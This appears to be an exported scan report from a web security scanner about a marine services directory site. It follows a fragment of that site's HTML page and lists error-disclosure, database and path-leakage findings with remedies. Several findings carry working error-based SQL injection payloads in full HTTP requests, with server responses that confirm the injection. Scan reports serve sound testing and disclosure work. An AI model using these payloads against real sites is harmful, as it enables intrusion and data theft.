(location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=7"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>");//]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=af9653b3&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=7&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=af9653b3' border='0' alt='' /></a></noscript> </div> <!--end pageName--> <!-- ************************************************************** --><!-- ************** rightAdvert ***************** --><!-- ************************************************************** --> <div id="rightAdvert"> <!--/* OpenX Javascript Tag v2.8.1 */--> <!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--> <script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=10"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>"); //]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=ad85359b&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=10&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=ad85359b' border='0' alt='' /></a></noscript> </div><!-- ************************************************************** --><!-- ************** pageNav ***************** --><!-- ************************************************************** --> <div id="pageNav"> <!-- InstanceBeginEditable name="InternalNav" --> <!-- InstanceEndEditable --> <!--<div id="sectionLinks"> <a href="http://www.crew-life.com/">Crew Life Online</a> <a href="http://www.allatsea.net/">All At Sea Online</a> </div> --> <div class="relatedLinks"> <h3>Search Marine Directory </h3> <a href="searchbycategory.php">By Category</a> <a href="searchbyisland.php">By ALL Ports</a> <a href="searchbyregion.php">By Specific Region</a> <a href="selectletter.php">By Alphabetical Order</a></div><div class="relatedLinks"> <h3>Site Utilities</h3> <a href="updates.html">Update Your Listing</a> <a href="mailto:support@firstmateonline.com">List Your Company</a> <a href="advertise.htm">Advertising</a> </div> <div id="advert"> <a href="http://www.forcrew.com/"onClick="javascript:urchinTracker('/outgoing/crewlife');"target="_blank"><img src="assets/ads/160x294-forcrew.gif" alt="ForCrew.com Connecting Captains and Crew" width="160" height="294" border="0"></a> <!--Advertisement copy goes here. Advertisement copy goes here.--> </div> <!-- InstanceBeginEditable name="edPageNav" --> <!-- InstanceEndEditable --> </div> <!--end pageNav--> <!-- ************************************************************** --><!-- ************** content ***************** --><!-- ************************************************************** --> <div id="content"> <div class="feature"> <!-- InstanceBeginEditable name="edFeature" --> <h3>Contact Info:</h3> <p><strong></strong> - <br> <em>Phone:</em> <br> <em>Fax:</em> <br> <em>eMail:</em> <a href="mailto:?subject=www.FirstMateOnline.com Inquiry"> </a><br> <p><em>You can also find listed under: <br> - <a href="regionbycategory.php?category=21"><strong>Boatyards</strong></a><br> - <a href="regionbycategory.php?category=65"><strong>Marinas</strong></a><br> - <a href="regionbycategory.php?category=829"><strong>Shipwright / Boat Builders</strong></a><br> (Click to find other businesses in category)</em></p> <p>Are you looking for other businesses in <a href="categoriesbyisland.php?island="><strong></strong></a>?</p> <p>NOTES:<br> - Do you need to update your information? <a href="mailto:support@firstmateonline.com">Email</a> us your Changes! </p> <!-- InstanceEndEditable --> </div> <!--end feature--><!--/* OpenX Javascript Tag v2.8.1 */--><!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--><script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=9"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>");//]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=a05fbc3a&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=9&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=a05fbc3a' border='0' alt='' /></a></noscript> </div> <!--end content--> <!-- ************************************************************** --><!-- ************** siteInfo ***************** --><!-- ************************************************************** --> <div id="siteInfo"> <a href="http://www.allatsea.net/index.php"><img src="assets/allatsea_sm_logo.gif" alt="All At Sea - The Caribbean's Waterfront Magazine. Serving the Caribbean Maritime Industry since 1993." width="60" height="44" border="0"></a> <a href="http://www.allatsea.net/aboutus.htm">About Us</a> | <a href="generator/data/sitemap.html">Sitemap</a> | &copy;2006-2007 Kennan Holdings LLC </div></div> <!--end siteInfo--> <!--end pagecell1--> <!-- Google Analytics Script --> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-65281-2"); pageTracker._trackPageview(); } catch(err) {}</script><!-- End Google Analytics --></body><!-- InstanceEnd --></html>
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor=%0D%0Ans:netsparker056650=vuln&location=17044

Parameters

Parameter Type Value
sponsor GET ns:netsparker056650=vuln
location GET 17044

Request

GET /businessinfo.php?sponsor=%0D%0Ans:netsparker056650=vuln&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:39 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 178
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ':netsparker056650=vuln and c.deleted = 0 ORDER BY c.categoryname' at line 2
Programming Error Message

Programming Error Message

1 TOTAL
LOW
Netsparker identified a programming error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. Source code, stack trace, etc. type data may be disclosed. Most of these issues will be identified and reported separately by Netsparker.

Remedy

Do not provide error messages on production environments. Save error messages with a reference number to a backend storage such as a log, text file or database then show this number and a static user-friendly error message to the user.
- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor=8159&location=(select+1+and+row(1%2c1)%3e(se..

Parameters

Parameter Type Value
sponsor GET 8159
location GET (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Identified Error Message

<b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/var/fm/businessinfo.php</b> on line <b>52</b>

Request

GET /businessinfo.php?sponsor=8159&location=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:41 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 185
Content-Type: text/html


<br /><b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/var/fm/businessinfo.php</b> on line <b>52</b><br />Duplicate entry '_!@4dilemma:0' for key 1
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /businessinfo.php

/businessinfo.php CONFIRMED

http://www.firstmateonline.com/businessinfo.php?sponsor=(select+1+and+row(1%2c1)%3e(select+count(*)%..

Request

GET /businessinfo.php?sponsor=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:40 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 61
Content-Type: text/html


Duplicate entry '_!@4dilemma:0' for key 1
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor=8159&location=17044

Found E-mails

support@firstmateonline.com

Request

GET /businessinfo.php?sponsor=8159&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:30 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 3822
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"><html><!-- InstanceBegin template="/templates/fmHaloLeftNav002.dwt" codeOutsideHTMLIsLocked="false" --><!-- DW6 --><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <!-- #BeginEditable "doctitle" --> <title> on </title> <meta name="Keywords" content=" on " > <meta name="Description" content="Full Contact Information for on - . Look for similiar companies using the category links. Now including listings for the Caribbean, the Bahamas, Mediterranean and North and Central America." ><!-- #EndEditable --> <link href="cssfiles/fmHaloLeftNav002.css" rel="stylesheet" type="text/css"><!-- Analytics / Adsense Integration Code --> <script type="text/javascript"> window.google_analytics_uacct = "UA-65281-2"; </script></head><body><script type="text/javascript">window.google_analytics_uacct = "UA-65281-2";</script><!-- ************************************************************** --><!-- ************** MASTHEAD ***************** --><!-- ************************************************************** --><div id="masthead"> <div id='sitelogo'><a href="index.htm"><img src="assets/firstmatelogo225Blue90Tall.jpg" alt="First Mate - The Marine Service Directory" name="FIRSTMATElogo" width="399" height="90" border="0"></a></div> <div id="sitedesc"> <p align="center">Online Marine Services Directory for the Megayacht Crew, Regatta Sailors, Cruisers and Fishing Captains</p> </div> <div id='srchform'> <!-- SiteSearch Google --><form action="http://www.firstmateonline.com/searchresults.html" id="cse-search-box"> <div> <input type="hidden" name="cx" value="partner-pub-9585000347357330:nueny0-buro" /> <input type="hidden" name="cof" value="FORID:10" /> <input type="hidden" name="ie" value="ISO-8859-1" /> <input type="text" name="q" size="31" /> <input type="submit" name="sa" value="Search" /> </div></form><script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&amp;lang=en"></script><!-- SiteSearch Google --></div><!-- ************************************************************** --><!-- ************** GLOBALNAV ***************** --><!-- ************************************************************** --> <div id="globalNav"> <img alt="" src="http://www.allatsea.net/assets/gblnav_left.gif" height="32" width="4" id="gnl"> <img alt="" src="http://www.allatsea.net/assets/glbnav_right.gif" height="32" width="4" id="gnr"> <div id="globalLink"> <a href="index.htm" class="glink">home</a> <a href="http://www.forcrew.com/" class="glink">ForCrew.com</a> <a href="http://www.allatsea.net/" class="glink">All At Sea</a> <a href="http://www.crew-life.com" class="glink">Crew Life</a> <a href="http://www.yachtessentials.com/" class="glink">YACHT ESSENTIALS</a> <!--end globalLinks--> </div> <!-- end globalNav --> </div><!-- end masthead --> </div><!-- ************************************************************** --><!-- ************** pagecell1 ***************** --><!-- ************************************************************** --><div id="pagecell1"> <!--pagecell1--> <img alt="" src="http://www.allatsea.net/assets/tl_curve_white.gif" height="6" width="6" id="tl"> <img alt="" src= "http://www.allatsea.net/assets/tr_curve_white.gif" height="6" width="6" id="tr"> <div id="translate"> <!-- InstanceBeginEditable name="translate" --> <!--Translate this page to English <img src="assets/flags/uk-t.gif" alt="Translate to English" width="20" height="10"> - <a href="spanish/index.htm">Spanish <img src="assets/flags/Spain-t.gif" alt="Translate to Spanish" width="15" height="10"></a> --> <!-- <a href="#">French</a> <img src="../assets/flags/France-t.gif" width="15" height="10"> - <a href="#">Dutch</a> <img src="../assets/flags/Netherlands-t.gif" width="15" height="10"> --> <!-- InstanceEndEditable --> </div> <!--end translate--> <div id="breadCrumb"> <!-- InstanceBeginEditable name="edBreadcrumb" --> <a href="index.htm">home</a> / <a href="searchbycategory.php">search</a> / / <!-- InstanceEndEditable --> </div> <!--end breadCrumb--> <div id="pageName"> <!-- InstanceBeginEditable name="edPageName" --> <h2><br> </h2> <!-- InstanceEndEditable --> <!--/* OpenX Javascript Tag v2.8.1 */--><!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--><script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=7"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>");//]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=af9653b3&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=7&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=af9653b3' border='0' alt='' /></a></noscript> </div> <!--end pageName--> <!-- ************************************************************** --><!-- ************** rightAdvert ***************** --><!-- ************************************************************** --> <div id="rightAdvert"> <!--/* OpenX Javascript Tag v2.8.1 */--> <!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--> <script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=10"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>"); //]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=ad85359b&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=10&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=ad85359b' border='0' alt='' /></a></noscript> </div><!-- ************************************************************** --><!-- ************** pageNav ***************** --><!-- ************************************************************** --> <div id="pageNav"> <!-- InstanceBeginEditable name="InternalNav" --> <!-- InstanceEndEditable --> <!--<div id="sectionLinks"> <a href="http://www.crew-life.com/">Crew Life Online</a> <a href="http://www.allatsea.net/">All At Sea Online</a> </div> --> <div class="relatedLinks"> <h3>Search Marine Directory </h3> <a href="searchbycategory.php">By Category</a> <a href="searchbyisland.php">By ALL Ports</a> <a href="searchbyregion.php">By Specific Region</a> <a href="selectletter.php">By Alphabetical Order</a></div><div class="relatedLinks"> <h3>Site Utilities</h3> <a href="updates.html">Update Your Listing</a> <a href="mailto:support@firstmateonline.com">List Your Company</a> <a href="advertise.htm">Advertising</a> </div> <div id="advert"> <a href="http://www.forcrew.com/"onClick="javascript:urchinTracker('/outgoing/crewlife');"target="_blank"><img src="assets/ads/160x294-forcrew.gif" alt="ForCrew.com Connecting Captains and Crew" width="160" height="294" border="0"></a> <!--Advertisement copy goes here. Advertisement copy goes here.--> </div> <!-- InstanceBeginEditable name="edPageNav" --> <!-- InstanceEndEditable --> </div> <!--end pageNav--> <!-- ************************************************************** --><!-- ************** content ***************** --><!-- ************************************************************** --> <div id="content"> <div class="feature"> <!-- InstanceBeginEditable name="edFeature" --> <h3>Contact Info:</h3> <p><strong></strong> - <br> <em>Phone:</em> <br> <em>Fax:</em> <br> <em>eMail:</em> <a href="mailto:?subject=www.FirstMateOnline.com Inquiry"> </a><br> <p><em>You can also find listed under: <br> - <a href="regionbycategory.php?category=21"><strong>Boatyards</strong></a><br> - <a href="regionbycategory.php?category=65"><strong>Marinas</strong></a><br> - <a href="regionbycategory.php?category=829"><strong>Shipwright / Boat Builders</strong></a><br> (Click to find other businesses in category)</em></p> <p>Are you looking for other businesses in <a href="categoriesbyisland.php?island="><strong></strong></a>?</p> <p>NOTES:<br> - Do you need to update your information? <a href="mailto:support@firstmateonline.com">Email</a> us your Changes! </p> <!-- InstanceEndEditable --> </div> <!--end feature--><!--/* OpenX Javascript Tag v2.8.1 */--><!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--><script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=9"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>");//]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=a05fbc3a&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=9&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=a05fbc3a' border='0' alt='' /></a></noscript> </div> <!--end content--> <!-- ************************************************************** --><!-- ************** siteInfo ***************** --><!-- ************************************************************** --> <div id="siteInfo"> <a href="http://www.allatsea.net/index.php"><img src="assets/allatsea_sm_logo.gif" alt="All At Sea - The Caribbean's Waterfront Magazine. Serving the Caribbean Maritime Industry since 1993." width="60" height="44" border="0"></a> <a href="http://www.allatsea.net/aboutus.htm">About Us</a> | <a href="generator/data/sitemap.html">Sitemap</a> | &copy;2006-2007 Kennan Holdings LLC </div></div> <!--end siteInfo--> <!--end pagecell1--> <!-- Google Analytics Script --> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-65281-2"); pageTracker._trackPageview(); } catch(err) {}</script><!-- End Google Analytics --></body><!-- InstanceEnd --></html>
[Possible] Internal Path Leakage (*nix)

[Possible] Internal Path Leakage (*nix)

1 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.

Remediation

External References

- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor=8159&location=(select+1+and+row(1%2c1)%3e(se..

Identified Internal Path(s)

/var/fm/businessinfo.php

Request

GET /businessinfo.php?sponsor=8159&location=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:41 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 185
Content-Type: text/html


<br /><b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/var/fm/businessinfo.php</b> on line <b>52</b><br />Duplicate entry '_!@4dilemma:0' for key 1